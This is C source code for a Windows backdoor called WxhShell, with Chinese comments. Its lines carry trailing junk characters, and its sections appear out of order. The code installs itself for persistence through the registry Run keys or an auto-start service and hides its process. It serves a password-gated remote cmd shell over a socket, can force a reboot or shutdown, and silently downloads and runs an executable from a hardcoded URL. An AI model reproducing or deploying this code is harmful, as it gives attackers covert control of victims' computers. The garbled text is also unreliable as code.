    if(Boot(SHUTDOWN)) P3tx|:gV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G1T^a>tj4  
    else { Q'apG)0I  
    closesocket(wsh); 7J$b$P0}  
    ExitThread(0); {0\,0*^p  
    } Y o0FUj  
    break; .~lKBkS`!  
    } jLg@FDb~  
  // 获取shell -#`c5y}P  
  case 's': { 6&v? )o  
    CmdShell(wsh); }`_@'4:t  
    closesocket(wsh); 0O!cN_l|  
    ExitThread(0); iyx>q!P  
    break; o(A|)c4k  
  } ;bu#8,  
  // 退出 T0HuqJty  
  case 'x': { W\*-xf|"d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sE(HZR1  
    CloseIt(wsh); 8Ad606  
    break; %6j)=IOts  
    } Q<tu)Qo  
  // 离开 4NEq$t$Jn  
  case 'q': { Z*{] ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ye 6H*K  
    closesocket(wsh); {WN(&eax  
    WSACleanup(); [ANuBNF  
    exit(1); 46jh-4) <  
    break; RH)EB<PV  
        } s3s4OAY  
  } D8K-K]W@  
  } > Vb@[  
dHnR_.  
  // 提示信息 6" T['6:j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k ^'f[|}  
} ?q2j3e[>  
  } oj.A,Fh  
x90*yaw>h  
  return; :)f7A7:;  
} pfuW  
+y+"Fyl  
// shell模块句柄 xk~IN%\  
int CmdShell(SOCKET sock) &tR(n$ M@>  
{ jP vDFT^d/  
STARTUPINFO si; 0:Xxl76v4  
ZeroMemory(&si,sizeof(si)); n7aU<`U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \b8sG"G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !#ri5{od  
PROCESS_INFORMATION ProcessInfo; =Yo1v=wxN  
char cmdline[]="cmd"; eS/B24;*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =%)+%[wv  
  return 0; ! {,F~i9  
} EC&@I+'8Q  
;|%dY{L-  
// 自身启动模式 ;E2>Ovv  
int StartFromService(void) YEu1#N  
{ /{2*WI;  
typedef struct t5k!W7C  
{ %3;Fgky  
  DWORD ExitStatus; !4"sX+z9  
  DWORD PebBaseAddress; fpyz'   
  DWORD AffinityMask; XK(`mEi  
  DWORD BasePriority; +KGZ HO!  
  ULONG UniqueProcessId; }S-DB#6  
  ULONG InheritedFromUniqueProcessId; wbyE;W  
}   PROCESS_BASIC_INFORMATION; '&O/g<Z}q  
^(}585b  
PROCNTQSIP NtQueryInformationProcess; @*N )i?>  
]Hj<IvG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9ch#}/7B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z[!d*O%R_  
!M<{E*  
  HANDLE             hProcess; - "*r  
  PROCESS_BASIC_INFORMATION pbi; B DY}*cX  
>Y 1{rSk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K[\'"HyQ,X  
  if(NULL == hInst ) return 0; -u!qrJ*Z  
?{"mP 'dD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {)f~#37  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a\uie$"cr]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C8N{l:1f]  
PALl sGlf  
  if (!NtQueryInformationProcess) return 0; C.:=lo B  
NBh%:tu7M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u.pxz8  
  if(!hProcess) return 0; Sx gYjIa-  
I7QCYB|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8?t"C_>*e  
/NT[ETMk+  
  CloseHandle(hProcess); @(``:)Z<b  
3XiO@jzre  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =! Vf  
if(hProcess==NULL) return 0; g o5]<4`r  
F-(dRSDNM  
HMODULE hMod; SQsSa1  
char procName[255]; %,@vWmn  
unsigned long cbNeeded; R`Aj|C z  
wCs3:@UH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7z6 b@$,  
\ A1uhHP!  
  CloseHandle(hProcess); $m1<i?'m  
YIt9M,5/Q  
if(strstr(procName,"services")) return 1; // 以服务启动 M x5`yT7  
%HQ.|  
  return 0; // 注册表启动 %ugHhS!  
} MJ<Jb,D1  
{cK^,?x  
// 主模块 HWns.[  
int StartWxhshell(LPSTR lpCmdLine) V=I"-k}RL  
{ &WXY'A=  
  SOCKET wsl; E9j+o y  
BOOL val=TRUE; T&Xl'=/  
  int port=0; >>l`,+y  
  struct sockaddr_in door;  uD_v!  
4Ph0:^i_  
  if(wscfg.ws_autoins) Install(); vP%tk s+.  
~ jU/<~s  
port=atoi(lpCmdLine); \u-0v.+|  
Mj>}zbpk /  
if(port<=0) port=wscfg.ws_port; js^ ,(CS  
~Vh(6q.oT  
  WSADATA data; .Hhhi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pN6%&@) =  
x"kjs.d7[<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D\~zS`}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -kz4FS  
  door.sin_family = AF_INET; {>3\ N0e5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |s7`F%  
  door.sin_port = htons(port); )'4P.>!!aQ  
rsn.4P=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (w (  
closesocket(wsl); RhI;;Y#@  
return 1; uy_wp^  
} cxeghy:;U  
3:/'t{ ^B  
  if(listen(wsl,2) == INVALID_SOCKET) { xVB;s.'!  
closesocket(wsl); {3a&1'a0g  
return 1; XKL3RMF9r  
} 3gWvmep1  
  Wxhshell(wsl); aIy*pmpD=  
  WSACleanup(); kB:Uu }(=N  
S 6,4PP  
return 0; sRVIH A ,  
C-eA8pYY/  
} -Ue$T{;RoH  
\mM<\-'p  
// 以NT服务方式启动 |rw%FM{F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N(6|yZ<J3M  
{ mM.*b@d-  
DWORD   status = 0; Eh</? Qv\  
  DWORD   specificError = 0xfffffff; s>_V   
A$0H .F>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (;x3} ]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <>eOC9;VY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MvLs%GE%  
  serviceStatus.dwWin32ExitCode     = 0; t9 \x%=  
  serviceStatus.dwServiceSpecificExitCode = 0; "eWk#/  
  serviceStatus.dwCheckPoint       = 0; =.<@`1  
  serviceStatus.dwWaitHint       = 0; -hcS]~F  
]G.%Ty  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ',3HlOJ:  
  if (hServiceStatusHandle==0) return; gwrYLZNGI  
p;)"  
status = GetLastError(); %)jxW{  
  if (status!=NO_ERROR) VLsxdwHgb  
{ 'AGto'Yy;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bUV >^d  
    serviceStatus.dwCheckPoint       = 0; ,)+ o  
    serviceStatus.dwWaitHint       = 0; Jk|Q`h  
    serviceStatus.dwWin32ExitCode     = status; J2q,7wI#  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4!Z5og1kn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5wB =>  
    return; yw[#  
  } +cJy._pi!  
:a8 YV!X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OV2 -8ERS  
  serviceStatus.dwCheckPoint       = 0; t- u VZ!`\  
  serviceStatus.dwWaitHint       = 0; (2ur5uk+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >4Y3]6N0.F  
} rD?L  
2n><RZ/9  
// 处理NT服务事件,比如:启动、停止 =@Dwlze  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uY_SU-v  
{ 3K&4i'}V  
switch(fdwControl) 84HUBud76Y  
{ ]Y6cwZOe  
case SERVICE_CONTROL_STOP: -m'j]1  
  serviceStatus.dwWin32ExitCode = 0; i"zuil  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jdKOb  
  serviceStatus.dwCheckPoint   = 0; I jr\5FA[p  
  serviceStatus.dwWaitHint     = 0; !g~1&Uw1  
  { H|ozDA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rrg96WD  
  }  $p!yhn7  
  return; }7fZ[J3  
case SERVICE_CONTROL_PAUSE: '[$)bPMHl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7*j (*  
  break; eD$M<Eu  
case SERVICE_CONTROL_CONTINUE: "gd=J_Yw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =U[3PC-N @  
  break; i 8!zu!-0  
case SERVICE_CONTROL_INTERROGATE: Z UKf`m[  
  break; g71[6<D  
}; rG?>ltxB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mOo`ZcTU  
} pY4}>ju(g  
]&Z))H  
// 标准应用程序主函数 d@w~[b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (%iRaw7hp  
{ MRU7W4W-~/  
s}5cSU!|  
// 获取操作系统版本 !$2Z-!  
OsIsNt=GetOsVer(); $'W}aER  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f)]%.>  
AV 8n(  
  // 从命令行安装 "G >3QL+O|  
  if(strpbrk(lpCmdLine,"iI")) Install(); >+. ( r]  
[{4 MR%--  
  // 下载执行文件 T0)4v-EO  
if(wscfg.ws_downexe) { js1!9%BV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y"]n:M:(  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ehz o05/!  
} Va Z!.#(P  
pEECHk  
if(!OsIsNt) { (R`B'OtGg  
// 如果时win9x,隐藏进程并且设置为注册表启动 r&-m=Kk$  
HideProc(); 9a'-Y  
StartWxhshell(lpCmdLine); Uax+dl   
} fEB7j-t  
else (E,T#uc{  
  if(StartFromService()) !+u"3;%h  
  // 以服务方式启动 .4. b*5  
  StartServiceCtrlDispatcher(DispatchTable); 5cx#SD&5/  
else w\) |  
  // 普通方式启动 oJ#,XMKga  
  StartWxhshell(lpCmdLine); at2FmBdu C  
UR:aD_h  
return 0; m*e{\)rd#  
} zy*/T>{#  
-}K<ni6  
9&<x17'  
B|o2K}%f  
=========================================== BL@:!t  
T843":  
TAjh"JJIV  
h|X^dQb]  
$d?.2Kg  
;?C #IU  
" &.TTJsKG h  
U%0Ty|$Y   
#include <stdio.h> gGfoO[B  
#include <string.h> HF|oBX$_  
#include <windows.h> w+1Gs ;  
#include <winsock2.h> );-~j  
#include <winsvc.h> (a9d/3M  
#include <urlmon.h> \.M*lqI  
vn/.}GkpU  
#pragma comment (lib, "Ws2_32.lib") H@]MXP[_  
#pragma comment (lib, "urlmon.lib") mf'V)  
/VG2.:  
#define MAX_USER   100 // 最大客户端连接数 A'P(a`  
#define BUF_SOCK   200 // sock buffer Fl(T\-Eu  
#define KEY_BUFF   255 // 输入 buffer E*i#?u  
_X?^Cy  
#define REBOOT     0   // 重启 ctcS:<r/3@  
#define SHUTDOWN   1   // 关机 V|\7')Qq  
qZ@s#UiB  
#define DEF_PORT   5000 // 监听端口 w3jO6*_ M  
vq34/c^  
#define REG_LEN     16   // 注册表键长度 =B. F;4 0  
#define SVC_LEN     80   // NT服务名长度 N&@}/wzZ  
gv5*!eI  
// 从dll定义API Q_l'o3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $1ndKB8)`J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +S Jd@y@fR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a22XDes=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q+,Q<2J  
Jmx Ko+-  
// wxhshell配置信息 XrZ*1V  
struct WSCFG { V)}rEX   
  int ws_port;         // 监听端口 v%Wx4v@%SE  
  char ws_passstr[REG_LEN]; // 口令 ,AT[@  
  int ws_autoins;       // 安装标记, 1=yes 0=no (p%>j0<  
  char ws_regname[REG_LEN]; // 注册表键名 A_KW(;50  
  char ws_svcname[REG_LEN]; // 服务名 g}]t[}s1]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 # W"=ry3{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?6'rBH/w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rj!0GI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #c2ymQm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ut r:J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y))NK'B5  
^j7azn  
}; )=Jk@yj8x  
y( y8+ZT  
// default Wxhshell configuration B#9{-t3Vf  
struct WSCFG wscfg={DEF_PORT, @IXsy  
    "xuhuanlingzhe", ->N8#XH2=  
    1, zXRlo]  
    "Wxhshell", /hO1QT}xd  
    "Wxhshell", orb_"Qw  
            "WxhShell Service", 4>J   
    "Wrsky Windows CmdShell Service", y+7PwBo%e  
    "Please Input Your Password: ", '(/7[tJ  
  1, y r,=.?C-  
  "http://www.wrsky.com/wxhshell.exe", {s;U~!3aY  
  "Wxhshell.exe" E lUEteZ  
    }; 6uR^%W8]  
}NB}"%2  
// 消息定义模块 B$Kn1 k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "yW:\   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7%sdtunf`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JfPD}w  
char *msg_ws_ext="\n\rExit."; G}p\8Q}'  
char *msg_ws_end="\n\rQuit."; 'F3)9&M  
char *msg_ws_boot="\n\rReboot..."; qgrg CJ  
char *msg_ws_poff="\n\rShutdown..."; vx4+QQY P  
char *msg_ws_down="\n\rSave to "; mkR2i>  
iTaWup  
char *msg_ws_err="\n\rErr!"; J[&b`A@.o  
char *msg_ws_ok="\n\rOK!"; 3 h<,  
Dwzg/F(  
char ExeFile[MAX_PATH]; yq$,,#XDD=  
int nUser = 0; fum0>tff  
HANDLE handles[MAX_USER];  Tgl}  
int OsIsNt; A<y nIs<  
G$sA`<<  
SERVICE_STATUS       serviceStatus; 71l%MH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TiH) 5  
[<KM?\"1<  
// 函数声明 yDGVrc'  
int Install(void); GAAm0;  
int Uninstall(void); {^N[("`  
int DownloadFile(char *sURL, SOCKET wsh); P67o{EdK  
int Boot(int flag); 5scEc,JCi  
void HideProc(void); AoyX\iqQ  
int GetOsVer(void); * oybD=%4  
int Wxhshell(SOCKET wsl); Qa.u Mq  
void TalkWithClient(void *cs); &y#r;L<9  
int CmdShell(SOCKET sock); VJS8)oI~  
int StartFromService(void); +$Rt+S BD  
int StartWxhshell(LPSTR lpCmdLine); D|.ic!w'  
AQ ='|%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gmm.{%1_I;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?^N3&ukkyo  
2;?I>~  
// 数据结构和表定义 Ox-|JJ=  
SERVICE_TABLE_ENTRY DispatchTable[] = T' ~!9Q  
{ )l#E}Uz  
{wscfg.ws_svcname, NTServiceMain}, /:FOPPs  
{NULL, NULL} .c$316  
}; }-@`9(o`)  
}RP @!=  
// 自我安装 *<!oHEwkN  
int Install(void) !Xph_SQ!B=  
{ dc rSz4E|>  
  char svExeFile[MAX_PATH]; )Qvk*9OS  
  HKEY key; x)_0OR2lkp  
  strcpy(svExeFile,ExeFile); n\Lb.}]1~  
=J~ x  
// 如果是win9x系统,修改注册表设为自启动 &>Vfa  
if(!OsIsNt) { &e8s65`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t N2Md}@e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !e?.6% %   
  RegCloseKey(key); R,Vd.-5M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c?@T1h4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OiP!vn}k  
  RegCloseKey(key); n-@j5w+k4  
  return 0; -xP!"  
    } q?ix$nKOv  
  } NhYLt w^u  
} Q6r7.pk"SU  
else { pn^ d]rou?  
rX1QMR7?  
// 如果是NT以上系统,安装为系统服务 nt@aYXK4|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T|TO}_x  
if (schSCManager!=0) S)/_muP  
{ to$h2#i_  
  SC_HANDLE schService = CreateService a.zpp'cEb  
  ( \~_9G{2?  
  schSCManager, f@c`8L@g  
  wscfg.ws_svcname, ~b2wBs)r  
  wscfg.ws_svcdisp, Zg.&V  
  SERVICE_ALL_ACCESS, _ :VB}>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :*2ud(  
  SERVICE_AUTO_START, (!zy{;g|  
  SERVICE_ERROR_NORMAL, s91JBP|B7  
  svExeFile, UMcgdJB  
  NULL, FJ6u.u  
  NULL, }:~x7|~s:  
  NULL, L:'J Bhg  
  NULL, 5hy""i  
  NULL J`^I./  
  ); oo.2Dn6z  
  if (schService!=0) :EA\)@^$R  
  { *v3]}g[<  
  CloseServiceHandle(schService); ` 5C~  
  CloseServiceHandle(schSCManager); D= h)&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =%BZ9,l  
  strcat(svExeFile,wscfg.ws_svcname); \R;`zuv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6efnxxY}sa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X7g1:L1Ys  
  RegCloseKey(key); v7`HQvQEz=  
  return 0; ..R-Ms)k=  
    } [bk?!0]aV  
  } KFwzy U"  
  CloseServiceHandle(schSCManager); yu/`h5&*  
} |1>*;\o-  
} JC3m.)/  
g'm+/pU)w)  
return 1;  1OF& *  
} E3iW-B8u8  
:B:"NyPA  
// 自我卸载 6 M*O{f  
int Uninstall(void) n= u&uqA*  
{ &sL&\+=<(  
  HKEY key; ?28N ^  
r|qp3x  
if(!OsIsNt) { JQ@E>o7_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [YcG(^^  
  RegDeleteValue(key,wscfg.ws_regname); McQe1  
  RegCloseKey(key); 1cD! :[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u9EgdpD  
  RegDeleteValue(key,wscfg.ws_regname); 6 jn3`D  
  RegCloseKey(key); `6xkf&Kt  
  return 0; lh;:M -b9  
  } N D2L_!g:(  
} CLJ;<  
} TBT:/Vfun  
else { OUNd@o  
^cz(}N 6&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t>$kWd{9e;  
if (schSCManager!=0) [a wjio  
{ fu]s/'8B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LMAE)]N  
  if (schService!=0) k>g _Z`%<  
  { !GNBDRr  
  if(DeleteService(schService)!=0) { EG=Sl~~o  
  CloseServiceHandle(schService); H,u<|UMM_  
  CloseServiceHandle(schSCManager); e F3,2DD C  
  return 0; { >)#HD  
  } _<OSqE  
  CloseServiceHandle(schService); vG"=h%  
  } uD @#  
  CloseServiceHandle(schSCManager); lH6OcD:kj  
} +P`*kj-P\  
} e8#h3lxJ`  
Yd~X77cv  
return 1; F ;2w1S^  
} \hEN4V[  
o_^?n[4  
// 从指定url下载文件 `I,,C,{C  
int DownloadFile(char *sURL, SOCKET wsh) n*{sTT  
{  O2%?  
  HRESULT hr; :1bWVM)  
char seps[]= "/"; DRi<6Ob  
char *token; `,(,t n_  
char *file; Nqa&_5"  
char myURL[MAX_PATH];  q;][5  
char myFILE[MAX_PATH]; :dQ B R  
4k@5/5zsM  
strcpy(myURL,sURL); /Y7<5!cS  
  token=strtok(myURL,seps); -- c"0,7  
  while(token!=NULL) $NZ-{dY{  
  { gh8F 2V;<  
    file=token; ;k>&FWEG  
  token=strtok(NULL,seps); |~vI3]}fx  
  } .w8J*JZ  
\S! e![L/  
GetCurrentDirectory(MAX_PATH,myFILE); wlqpn(XR  
strcat(myFILE, "\\"); esMX-.8Cx  
strcat(myFILE, file); ap+JQ@b  
  send(wsh,myFILE,strlen(myFILE),0); s pp f  
send(wsh,"...",3,0); ~2QR{; XQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O4V.11FnW  
  if(hr==S_OK) KQg]0y d  
return 0; 9|gr0&#~j  
else 2h1vVF3  
return 1; t_$2CRG#  
"C{}Z  
} 'DL`Ee\  
t? yz  
// 系统电源模块 G#u6Am)T  
int Boot(int flag) e3nYbWBy]  
{ P>NF.B Cq  
  HANDLE hToken; g9Xu@N;bL  
  TOKEN_PRIVILEGES tkp; w"cZHm  
IV\'e}  
  if(OsIsNt) { %~2YE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U$WxHYo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K|hjEQRv  
    tkp.PrivilegeCount = 1; F|e1"PkeoA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #\ X#w<\?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rp!oO>F  
if(flag==REBOOT) { 4hTMbS_;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C,ARXW1  
  return 0; \1fN0e  
} \ b?" b  
else { vnM@QfN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rPLm5ni  
  return 0; rLI8pA|.  
} opy("qH  
  } Y6zbo  
  else { IJ(  
if(flag==REBOOT) { 8{^WY7.'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %)/P^9I6  
  return 0; <FcG oGK  
} e} P I^bc  
else { "J [K 3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a!"$~y$*  
  return 0; 3W3ZjdV+  
} 6i.-6></  
} j/_ s"}m{  
jU9$Ehg I  
return 1; [f1 (`<  
} [BqHx5Xz(  
w~"KA6^  
// win9x进程隐藏模块 ebUBrxZX  
void HideProc(void) MbZJ;,e?  
{ V@ cM|(  
#t: S.A@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XBb~\p3y  
  if ( hKernel != NULL ) KLitg6&P  
  { 8&?s#5zA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }%'?p<^M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hRrn$BdLX  
    FreeLibrary(hKernel); XINu=N(g  
  } g1W.mAA3B  
#><.oreXq  
return; V-Sd[  
} h?BFvbAt  
vdx0i&RiL  
// 获取操作系统版本 g!?:Ye`5  
int GetOsVer(void) ?fUlgQ }N  
{ Jrti cK$  
  OSVERSIONINFO winfo; aTqd@},?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V )x$|!(  
  GetVersionEx(&winfo); 'B 43_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GVYBa_gx  
  return 1; \]2]/=2tLd  
  else \Zqng  
  return 0; naYrpK,.  
} [z`31F  
TgmnG/Z  
// 客户端句柄模块 ;CmS ~K:  
int Wxhshell(SOCKET wsl) Y2ZT.l  
{ F`Q[6"<a  
  SOCKET wsh; E_])E`BJ  
  struct sockaddr_in client; :(!` /#6H  
  DWORD myID; w$z}r  
{|&5_][  
  while(nUser<MAX_USER) Li/O  
{ rV R1wsaL  
  int nSize=sizeof(client); A: 5x|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .TND  a&  
  if(wsh==INVALID_SOCKET) return 1; )Ch2E|C?=8  
C":32_q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gb#Cm]  
if(handles[nUser]==0) >L;eO'D  
  closesocket(wsh); *W0y: 3dB3  
else "$ Y_UJT7  
  nUser++; jkiFLtB@V  
  } bx{$Y_L+p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w)kNkD  
dZ  rAn  
  return 0; aqRhh=iS  
} +cgSC5nR  
RrX[|GLSJ  
// 关闭 socket 2ORNi,_I  
void CloseIt(SOCKET wsh) <lw` 3aa(  
{ j9?}j #@  
closesocket(wsh); EQb7 -vhg  
nUser--; 3DiLk=\~  
ExitThread(0); wQP^WzNE  
} e vrXo"3  
[S HXJ4P*  
// 客户端请求句柄 %k-3?%&8  
void TalkWithClient(void *cs) n>+mL"hs  
{ ryW'Z{+r'  
Hv sob  
  SOCKET wsh=(SOCKET)cs; &]e'KdXF  
  char pwd[SVC_LEN]; s2'yY(u/  
  char cmd[KEY_BUFF]; TUV&vz{  
char chr[1]; ,SynnE68  
int i,j; iYORu 3  
Tl$ [4heE  
  while (nUser < MAX_USER) { L;VoJf  
Co (.:z~  
if(wscfg.ws_passstr) { Q&wB$*u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v(B<Nb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^W'fA{sr  
  //ZeroMemory(pwd,KEY_BUFF); !%^^\,  
      i=0; +$C 4\$t  
  while(i<SVC_LEN) { 8jd;JPz@\  
P `}zlml  
  // 设置超时 %QH)'GJQ  
  fd_set FdRead; |Y$uqRdV  
  struct timeval TimeOut; *)ardZV${  
  FD_ZERO(&FdRead); <49K>S9O  
  FD_SET(wsh,&FdRead); 3nT^?;-  
  TimeOut.tv_sec=8;  87<-kV  
  TimeOut.tv_usec=0; K`iv c N"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i]Fp..`v~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x_| UPF  
(i34sqV$m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A+::O@_s  
  pwd=chr[0]; %_+2@\  
  if(chr[0]==0xd || chr[0]==0xa) { M9V q -U18  
  pwd=0; rR9|6l 3  
  break; mef<=5t  
  } [5zx17'  
  i++; T&%ux=Jt  
    } Kqp(%8mf  
G;v8$)Zj  
  // 如果是非法用户,关闭 socket #33fGmd[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jhXkSj  
} Q<h-FW8z  
yaah*1ip[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9K5pwC\$%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ),UX4%K=  
E~%jX }/  
while(1) { r\b3AKrIN  
mQCeo}7N5  
  ZeroMemory(cmd,KEY_BUFF); WFO4gB*  
jNLw=  
      // 自动支持客户端 telnet标准   Av xfI"sp  
  j=0; 3HLNCt09  
  while(j<KEY_BUFF) { (g[h 8 c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _A+s)]}  
  cmd[j]=chr[0]; B^j  
  if(chr[0]==0xa || chr[0]==0xd) { :"=ez<t  
  cmd[j]=0; e\Y*F  
  break; mz @T  
  } RIb4!!',c  
  j++; )-0kb~;|  
    } $nb[G$  
3a?o3=  
  // 下载文件 p[hZ@f(z  
  if(strstr(cmd,"http://")) { b%<9Sn   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DB-l$rj  
  if(DownloadFile(cmd,wsh)) ue4Vcf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0J?~N`#O|  
  else Y' %^NP}o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AG!w4Ky`  
  } *pAV2V(!23  
  else { BybW)+~  
85n1eE  
    switch(cmd[0]) { D}dn.$  
  iVB86XZ`  
  // 帮助 wF|fK4F  
  case '?': { NWM8[dI  
